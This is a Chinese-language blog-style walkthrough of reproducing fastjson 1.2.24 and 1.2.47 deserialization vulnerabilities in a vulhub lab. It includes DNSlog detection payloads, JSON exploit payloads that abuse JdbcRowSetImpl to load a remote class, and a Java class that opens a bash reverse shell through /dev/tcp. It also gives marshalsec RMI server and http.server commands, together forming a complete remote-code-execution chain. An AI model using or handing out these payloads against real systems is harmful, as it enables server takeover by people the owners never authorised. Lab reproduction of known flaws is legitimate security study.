fastjson框架漏洞复现

0x01fastjson介绍

fastjson是阿里巴巴开源的json解析库,通常被用于java object和json字符之间进行转换,提供两个方法json.tojsonstring和json.parseobject/json.parse来分别实现序列化与反序列化。

序列化:将对象转化为字节序列。

反序列化:将字节序列转化为对象。

0x02fastjson漏洞原理

漏洞主要原因是因为autotype功能,这个功能用于fastjson对json格式进行序列化与反序列化,在其序列化中会多写入一个@type,这个@type来标记被序列化的类名,在反序列化过程中会读取这个@type,尝试把json内容反序列化成对象,并且会调用setter或者getter方法,,所以只需要构造一个恶意json字符,使用@type指定一个想要的攻击库就可以实现攻击。

举个例子,黑客比较常用的攻击类库是com. sun.Towset. JdibcRowSetImpl,这是sun官方提供的一个类库,这个类的dataSourceName支持传入一个rmi的源,当解析这个uri的时候,就会支持rmi远程调用,去指定的rmi地址中去调用方法。

0x03fastjson漏洞复现(1.2.24、1.2.47)反序列化

0x03-01 fastjson识别

1:json传输就去尝试
2:报错出现com.alibaba.fastjson.JSON 就为fastjson框架 

注:1.2.24版本以下并不会出现com.alibaba.fastjson.JSON  以上就会出现  com.alibaba.fastjson.JSON

fastjson 1.2.24

fastjson框架漏洞复现_第1张图片

fastjson 1.2.47

fastjson框架漏洞复现_第2张图片

0x03-02 fastjson漏洞验证

盲打payload:

1.2.67版本之前

{"zeo":{"@type":"java.net.Inet4Address","val":"fatu5k.dnslog.cn"}}

1.2.67版本之后

{"@type":"java.net.Inet4Address","val":"dnslog"}
  1. 启动vulhub漏洞环境。搭建完成截图:

fastjson框架漏洞复现_第3张图片

  1. 目前测试的是fastjson 1.2.24 通过抓包,然后加上payload。然后进行重发。

fastjson框架漏洞复现_第4张图片

  进行重发

fastjson框架漏洞复现_第5张图片

  1. 可以看到成功读取到,说明有漏洞

请添加图片描述


4.fastjson1.2.47以上述方式同样测试

fastjson框架漏洞复现_第6张图片


0x03-03 fastjson 漏洞利用

前言:除了1.2.24与1.2.47除了抓包所提交的pyload不同,其余与1.2.24步骤相同

pyload: 以POST请求提交

fastjson 1.2.24
{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.181.133:9999/Getshell",  //vpsIP,提供rmi服务的IP
        "autoCommit":true
    }
}


fastjson 1.2.47
{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.181.133:9999/Getshell",
        "autoCommit":true
    }
}

  1. 启动vulhub漏洞环境。搭建完成截图:

fastjson框架漏洞复现_第7张图片


2. 需要在vps上开启一个rmi服务调用class文件。

首先我们先创建Getshell.java,使用javac Getshell.java编译得到Getshell.class

import java.lang.Runtime;
import java.lang.Process;
public class Getshell {
   static {
       try {
			   Runtime r = Runtime.getRuntime();
                Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.181.133/6666 0>&1"});
                p.waitFor();
       } catch (Exception e) {
           // do nothing
       }
   }
}

fastjson框架漏洞复现_第8张图片

  1. 得到 Getshell.class 文件,并在将其通过 python -m http.server命令放到外网环境中,默认监听端口8000。

fastjson框架漏洞复现_第9张图片

        攻击机 ip + 8000 访问 ,看到了Getshell.class

fastjson框架漏洞复现_第10张图片

  1. 借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类Getshell.class

    项目链接:

    https://github.com/RandomRobbieBF/marshalsec-jar
    

输入下面命令

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.181.133:8000/#Getshell" 9999
  1. 在漏洞页面bp抓包后post提交数据,替换如下payload:
Getshellfastjson 1.2.24
{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.181.133:9999/Getshell",
        "autoCommit":true
    }
}


fastjson 1.2.47
{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.181.133:9999/Getshell",
        "autoCommit":true
    }
}

fastjson框架漏洞复现_第11张图片


进行重发
fastjson框架漏洞复现_第12张图片

6.nc 监听端口.

fastjson框架漏洞复现_第13张图片

7.fastjson1.2.47以上述同样的方法测试

fastjson框架漏洞复现_第14张图片

fastjson框架漏洞复现_第15张图片

你可能感兴趣的:(渗透笔记,漏洞复现,java,安全,网络,fastjson)